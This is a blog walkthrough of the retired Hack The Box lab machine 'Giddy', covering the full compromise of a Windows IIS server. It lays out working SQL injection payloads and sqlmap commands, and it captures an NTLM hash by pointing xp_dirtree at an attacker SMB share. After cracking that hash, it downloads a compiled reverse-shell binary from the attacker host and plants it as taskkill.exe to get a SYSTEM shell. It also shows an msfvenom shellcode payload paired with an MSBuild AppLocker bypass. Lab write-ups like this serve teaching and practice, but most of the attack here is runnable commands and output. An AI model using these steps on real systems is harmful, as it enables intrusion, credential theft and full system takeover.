Htb Giddy
by Jake
This week we are taking a look at the retired Hack The Box machine Giddy (Medium difficulty)
Starting off with our nmap scans (default scripts, all ports, then default scripts targeted to the found ports):
root@kali: nmap -sC -sV -oN nmap 10.10.10.104
# Nmap 7.70 scan initiated Wed Jan 9 14:25:57 2019 as: nmap -sC -sV -oN nmap 10.10.10.104
Nmap scan report for 10.10.10.104
Host is up (0.23s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
443/tcp open ssl/http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Not valid before: 2018-06-16T21:28:55
|_Not valid after: 2018-09-14T21:28:55
|_ssl-date: 2019-01-09T03:21:55+00:00; -4m36s from scanner time.
| tls-alpn:
| h2
|_ http/1.1
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Giddy
| Not valid before: 2019-01-06T03:23:15
|_Not valid after: 2019-07-08T03:23:15
|_ssl-date: 2019-01-09T03:21:55+00:00; -4m35s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -4m35s, deviation: 0s, median: -4m36s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 9 14:26:39 2019 -- 1 IP address (1 host up) scanned in 41.65 seconds
root@kali: nmap -p- --max-retries 1 -Pn -T4 --oN nmap-allports 10.10.10.104
# Nmap 7.70 scan initiated Wed Jan 9 14:32:45 2019 as: nmap -p- --max-retries 1 -Pn -T4 --oN nmap-allports 10.10.10.104
Nmap scan report for 10.10.10.104
Host is up (0.23s latency).
Not shown: 65531 filtered ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
3389/tcp open ms-wbt-server
5985/tcp open wsman
# Nmap done at Wed Jan 9 14:36:06 2019 -- 1 IP address (1 host up) scanned in 201.97 seconds
root@kali: nmap -sC -sV -p80,443,3389,5985 -oN nmap-targeted 10.10.10.104
# Nmap 7.70 scan initiated Wed Jan 9 14:40:09 2019 as: nmap -sC -sV -p80,443,3389,5985 -oN nmap-targeted 10.10.10.104
Nmap scan report for 10.10.10.104
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
443/tcp open ssl/http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Not valid before: 2018-06-16T21:28:55
|_Not valid after: 2018-09-14T21:28:55
|_ssl-date: 2019-01-09T03:35:55+00:00; -4m35s from scanner time.
| tls-alpn:
| h2
|_ http/1.1
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Giddy
| Not valid before: 2019-01-06T03:23:15
|_Not valid after: 2019-07-08T03:23:15
|_ssl-date: 2019-01-09T03:35:54+00:00; -4m35s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -4m35s, deviation: 0s, median: -4m35s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 9 14:40:38 2019 -- 1 IP address (1 host up) scanned in 29.15 seconds
We can see that we have a couple of websites and RDP open.
Starting on port 80 we get a page with a picture of a dog.
Before we do anything manually we run some enumeration in the background using gobuster. Because our nmap scan told us that it’s a Windows IIS server we will try the asp and aspx file extensions:
root@kali:gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 150 -u http://10.10.10.104 -x asp,aspx,html,txt
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.104/
[+] Threads : 150
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions : asp,aspx,html,txt
[+] Timeout : 10s
=====================================================
2019/01/09 11:17:29 Starting gobuster
=====================================================
/remote (Status: 302)
/mvc (Status: 301)
/Remote (Status: 302)
While that was running we looked at the initial website source and run some basic steg enumeration on the image, but that gets us nowhere, so we move on to the HTTPS version on port 443 because it is possible for servers to return different sites on different port bindings. This also gets us the same site. While our gobuster is running against port 80 we can manually take a look at the site on port 5985:
We get an instant 404, so it looks like we are going to have to gobuster this as well:
root@kali: gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 150 -u http://10.10.10.104:5985
Our gobuster results from port 80 should be finished by now. Starting from the top, /remote
redirects us to a PowerShell Web Access login page:
/MVC
redirects us to a product / shopping website:
Clicking one of the links we get presented a table listing out products from the category clicked:
The results look like that might come from a database and we have a query string parameter so let’s try some basic SQLInjection and see what happens:
The site has not been configured to suppress error pages, as attackers that is great for us because it means we get nice and detailed error logs and there is the potential to see source code and use this information to hone our payload into something that works for us.
In this case we can see that our basic SQL has thrown a SqlException, which is a good indicator that we might be able to perform an sql injection attack.
Our basic sql injection syntax ' or 1=1 -- -
assumes that the query we are injecting is against a string parameter (from one of our previous boxes it was SELECT username FROM users where username = '[USERINPUT]';
)
Based on the query string variable ProductSubCategoryId
and the exception message stating that we have introduced unbalanced quotes. This is likely because MSSQL does not wrap INT fields in quotes, so the background query is most likely SELECT productId, ... FROM products WHERE ProductSubCategoryId = USERINTPUT
. Note the lack of quotes surrounding the USERINTPUT
We can confirm this by trying to select a correctly balanced string value and see what happens:
Again the exception message confirms our suspicions and we can update our payload by simply removing the quote character:
This time we can see that instead of returning only the 3 results for id 18, we get all 504 products from the database, confirming that we have a SQL Injection vulnerability.
Now that we have confirmed that there is a SQL Injection vulnerability, we spent some time figuring out how many columns were required to perform UNION injection in order to display content on the page (spoiler its 25), we get some basic information, including enumerating users (see below) but there is nothing of note in the database contents so we opted to use the tool SQLMap to make things quicker and easier:
root@kali: sqlmap -u https://10.10.10.104/mvc/Product.aspx\?ProductSubCategoryId\=18 --batch --tables --exclude-sysdbs
___
__H__
___ ___["]_____ ___ ___ {1.3.2#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:10:34 /2019-01-09/
[12:10:34] [INFO] resuming back-end DBMS 'microsoft sql server'
[12:10:34] [INFO] testing connection to the target URL
...
sqlmap identified the following injection point(s) with a total of 89 HTTP(s) requests:
---
Parameter: ProductSubCategoryId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ProductSubCategoryId=18 AND 3409=3409
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
Payload: ProductSubCategoryId=18 AND 3738 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(107)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (3738=3738) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(118)+CHAR(112)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: ProductSubCategoryId=(SELECT CHAR(113)+CHAR(122)+CHAR(107)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (4992=4992) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(118)+CHAR(112)+CHAR(113))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: ProductSubCategoryId=18;WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF)
Payload: ProductSubCategoryId=18 WAITFOR DELAY '0:0:5'
---
...
Database: Injection
[14 tables]
+-----------------------+
| Applications |
| CreditCard |
| Memberships |
| Product |
| ProductCategory |
| ProductSubcategory |
| Profiles |
| Roles |
| Users |
| UsersInRoles |
| UsersOpenAuthAccounts |
| UsersOpenAuthData |
| __MigrationHistory |
| sqlmapoutput |
+-----------------------+
We use the --tables
argument to get sqlmap to dump the names of all the tables we have access to. --batch
will ensure that we are not prompted to answer any of the questions and --exclude-sysdbs
will skip any of the system databases making the script run much faster.
We can also dump all the tables with the command:
root@kali: sqlmap -u https://10.10.10.104/mvc/Product.aspx\?ProductSubCategoryId\=6 -o --dump --batch --exclude-sysdbs
The Users
table seems like one we should be most interested in, we know from our browser tests that the Products
table is quite large, so rather than dump the entire database we can dump just the table we want with the -T
arugment:
root@kali: sqlmap -u https://10.10.10.104/mvc/Product.aspx\?ProductSubCategoryId\=6 -o --dump --batch --exclude-sysdbs -D 'Injection' -T 'Users'
...
Database: Injection
Table: Users
[1 entry]
+--------------------------------------+--------------------------------------+----------+-------------+------------------------+
| UserId | ApplicationId | UserName | IsAnonymous | LastActivityDate |
+--------------------------------------+--------------------------------------+----------+-------------+------------------------+
| 80FF0BA8-8AFD-4735-91BB-BC7D4FC58893 | 0080FF37-10F0-4971-A6CC-8ED0495E8C6E | test | 0 | Feb 12 2019 \xa02:19AM |
+--------------------------------------+--------------------------------------+----------+-------------+------------------------+
Doesn’t look like we will be able to get anything useful out of this database, so we move on to trying to pwn. SQLMap has some built in options to try and pwn-os and get an os-shell, so we might as well see if we can go straight there. The --os-pwn
and --os-shell
are not able to exploit so we need to start getting creative.
To make things easier we are able to drop ourselves into an SQL Shell so that it is as if we are connected to the Command Line Interface (CLI) and don’t have to deal with the extensive output every time we want to run a SQL command:
root@kali: sqlmap -u https://10.10.10.104/mvc/Product.aspx\?ProductSubCategoryId\=18 --sql-shell
...
[13:08:48] [INFO] calling Microsoft SQL Server shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select current_user
[13:09:49] [INFO] fetching SQL SELECT statement query output: 'select current_user'
[13:09:49] [INFO] retrieved: 'Giddy\\stacy'
select current_user: 'Giddy\\stacy'
sql-shell>
After a lot of trial and error and research we eventually come across an article about an undocumented stored procedure of MSSQL called master.sys.xp_dirtree
The article talks about listing local directories, but it is also capable of listing directories on remote smb shares. After further research (mostly from Stack Overflow) we find out that by default when connecting to a remote smb share it will use the current MSSQL Server User credentials to authenticate with the remote file share.
We are able to exploit this feature, by setting up our own SMB share, logging the connection and authentication attempt to get the credentials of the Giddy\Stacy user, as we discovered earlier that this is the user we are logged in to MSSQL as.
Starting off we use the Impacket suite to set up a fake SMB server listener:
root@kali: python smbserver.py -ip 10.10.14.18 thoseguys /tmp
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
We use the -ip
argument to ensure we are listening on the HTB VPN interface (using the ip address of our HTB tun0 VPN interface) then we can set the sharename argument to anything and the share path to anything.
Once it is listening we go back to our sql-shell and use the xp_dirtree
stored procedure to attempt to connect to the share:
sql-shell> EXEC master.sys.xp_dirtree '\\10.10.14.18'
EXEC master.sys.xp_dirtree '\\10.10.14.18': 'NULL'
Switching back to our listener we can see that we have captured some details:
root@kali: python smbserver.py -ip 10.10.14.18 thoseguys /tmp
...
[*] Config file parsed
[*] Incoming connection (10.10.10.104,50145)
[*] AUTHENTICATE_MESSAGE (GIDDY\Stacy,GIDDY)
[*] User Stacy\GIDDY authenticated successfully
[*] Stacy::GIDDY:4141414141414141:f9ad0f62401668b9495bd2c00a2346e3:010100000000000000f95c839ec5d401e8cc48984ecfc812000000000100100077004f0048004a004700620042007900020010006c005300460076005a006d0070004b000300100077004f0048004a004700620042007900040010006c005300460076005a006d0070004b000700080000f95c839ec5d401060004000200000008003000300000000000000000000000003000005e6c30b5844e69f4473439ef9f89bb817e26ac11d8e6c212f58f0351e8b08ea30a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003800000000000000000000000000
[-] TreeConnectAndX not found *.*
[*] Handle: [Errno 104] Connection reset by peer
[*] Closing down connection (10.10.10.104,50145)
[*] Remaining connections []
What we are seeing there is an NTLMv2 hash for the Stacy user. From here we can try to crack it, or perform a pass the hash attack directly to gain user access to the box.
The machine did also have port 3389 open for RDP which can be vulnerable to pass the hash attacks, but in this case we are unable to log in as Stacy through RDP, so we move on to cracking the hash.
As you know, we are not huge fans of JTR, so we will use Hashcat to crack it:
C:\Crackers\hashcat-5.1.0>hashcat64.exe -m 5600 hash.txt rockyou.txt
...
STACY::GIDDY:1122334455667788:3c3bf3394ffb2a1291342af4fbf90929:01010000000000002856d319eea9d401e0668ce2380298f60000000002000a0053004d0042003100320001000a0053004d0042003100320004000a0053004d0042003100320003000a0053004d0042003100320005000a0053004d004200310032000800300030000000000000000000000000300000de9a843d3d71d47d4a99a4e34cb7ca74ea18bbb1e2251d867498486d2b63b8f90a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0035000000000000000000:xNnWo6272k7x
...
The syntax is the same on Linux (just without the .exe). We get a hit and have some creds. stacy:xNnWo6272k7x
Now we need to figure out what to do with these credentials… Remembering back we had another website with a login form in the /remote
directory. We should try the credentials there. Browsing over HTTP we get an error message that the site requires a secure connection so we swap over to https://10.10.10.104/remote and we are now able to use the login form:
Once we log in we are presented with a Windows PowerShell Web Access session.
Finally we are on the box as user, and can read the user.txt flag:
PS C:\users\stacy\Documents> cd ../desktop
PS C:\users\stacy\desktop> cat user.txt
10C1C[redacted]C1A0AD
PS C:\users\stacy\desktop>
To test what we are capable of, we can try to download a file from our attacking machine and go from there:
Host a test text file with SimpleHTTPServer
and see if we can download it somewhere.
PS C:\users\stacy\desktop> cd ../Downloads
PS C:\users\stacy\Downloads> Invoke-WebRequest "http://10.10.14.18/thoseguys.txt" -OutFile "C:\users\stacy\Downloads\thoseguys.txt"
PS C:\users\stacy\Downloads> dir
Directory: C:\users\stacy\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/9/2019 10:56 PM 1 thoseguys.txt
PS C:\users\stacy\Downloads>
Great! We can transfer files if we need to, let’s poke around the file system and see that there is a file in the Stacy’s Documents directory we started in called unifivideo
with the contents “stop”
After researching to see if there are any known vulnerabilities for unifivideo we come across https://www.exploit-db.com/exploits/43390. We can see if this box could be vulnerable by following the instructions and running icacls
on the file:
PS C:\users\stacy\Downloads> icacls c:\ProgramData\unifi-video
c:\ProgramData\unifi-video NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)
Successfully processed 1 files; Failed processing 0 files
The output looks the same to me, reading the rest of the exploit we can see that when the service starts or stops, it looks for and (if possible) runs the executable C:\ProgramData\unifi-video\taskkill.exe
. By default and in our case does not exist, so currenlty nothing happens. The exploit-db article also mentions that when the task executes this file it is run under the NT AUTHORITY\SYSTEM context.
This is the machine that triggered us to write our custom rev.exe reverse shell that we have demoed in a few streams while Giddy was still active. https://github.com/thosearetheguise/rev
Cloning the repo and building the source into a compiled exe we are then able to use PowerShell to transfer it over to the box as taskkill.exe.
On the attackers box, we clone and build the binary, then host it:
root@kali: git clone https://github.com/thosearetheguise/rev
...
root@kali: cd rev
root@kali rev: i686-w64-mingw32-g++ rev.c -o taskkill.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -DIP=\"10.10.14.18\" -DPORT=8080
root@kali rev: python -m SimpleHTTPServer 80
...
Once we have a compiled exe we need to get it on the box using the powershell Invoke-WebRequest
command we tried earlier and verify that it was downloaded correctly.
PS C:\users\Stacy\Downloads> Invoke-WebRequest "http://10.10.14.18/taskkill.exe" -OutFile "C:\ProgramData\unifi-video\taskkill.exe"
PS C:\users\Stacy\Downloads> dir C:\ProgramData\unifi-video\
Directory: C:\ProgramData\unifi-video
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/16/2018 9:54 PM bin
...
-a---- 1/9/2019 11:54 PM 13312 taskkill.exe
-a---- 6/16/2018 9:54 PM 780 Ubiquiti UniFi Video.lnk
-a---- 7/26/2017 6:10 PM 48640 UniFiVideo.exe
-a---- 7/26/2017 6:10 PM 32038 UniFiVideo.ico
-a---- 6/16/2018 9:54 PM 89050 Uninstall.exe
The only thing left to do now is to set up a nc listener and restart the service so that we can get a shell. PowerShell has a built-in module called Restart-Service
which expects the name of the service that should be restarted. Reading the exploit-db article again we can see that the service should be called “Ubiquiti UniFi Video” so time to give that a try:
PS C:\users\Stacy\Downloads> Restart-Service -Name "Ubiquiti UniFi Video"
Looking back at our listener we can see that we get a reverse shell as NT AUTHORITY\SYSTEM and can read the root flag:
Getting a reverse shell with msfvenom using MSBuild AppLocker bypass:
An alternative way to get an earlier reverse shell as user and bypass the AppLocker restrictions applied to the web front end is to use an MSBuild vulnerability that allows it to execute arbitrary code while building a .csproj file.
Start off by downloading the template csproj xml file locally https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml
Then use msfvenom to generate a standard reverse shell payload with an encoder:
root@kali: msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.18 LPORT=444 -f csharp -e x86/shikata_ga_nai
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of csharp file: 1810 bytes
byte[] buf = new byte[351] {
0xba,0xdf,0x1f,0x4a,0xd8,0xda,0xc8,0xd9,0x74,0x24,0xf4,0x5b,0x33,0xc9,0xb1,
0x52,0x83,0xeb,0xfc,0x31,0x53,0x0e,0x03,0x8c,0x11,0xa8,0x2d,0xce,0xc6,0xae,
...
0x29,0x9c,0xba,0x49,0x36,0xc9,0x4c,0xb5,0x87,0xa4,0x08,0xca,0x28,0x21,0x9d,
0xb3,0x54,0xd1,0x62,0x6e,0xdd,0xe1,0x28,0x32,0x74,0x6a,0xf5,0xa7,0xc4,0xf7,
0x06,0x12,0x0a,0x0e,0x85,0x96,0xf3,0xf5,0x95,0xd3,0xf6,0xb2,0x11,0x08,0x8b,
0xab,0xf7,0x2e,0x38,0xcb,0xdd };
Replace the existing shellcode variable with the new one from msfvenom and upload it to the target as a csproj:
PS C:\users\stacy\Downloads> Invoke-WebRequest "http://10.10.14.18/msbuildshell.xml" -OutFile "C:\users\stacy\Downloads\msbuildshell.csproj"
Once it is there, set up a local nc listener with nc -nlvp 444
and build the csproj :
PS C:\users\stacy\Downloads> C:\windows\Microsoft.NET\framework\v4.0.30319\MSBuild.exe C:\users\stacy\downloads\msbuildshell.csproj
Back on our attackers machine we can see that we have an unrestricted reverse shell as Stacy. From here we can follow the same path to get root.
tags: htb - walkthrough - giddy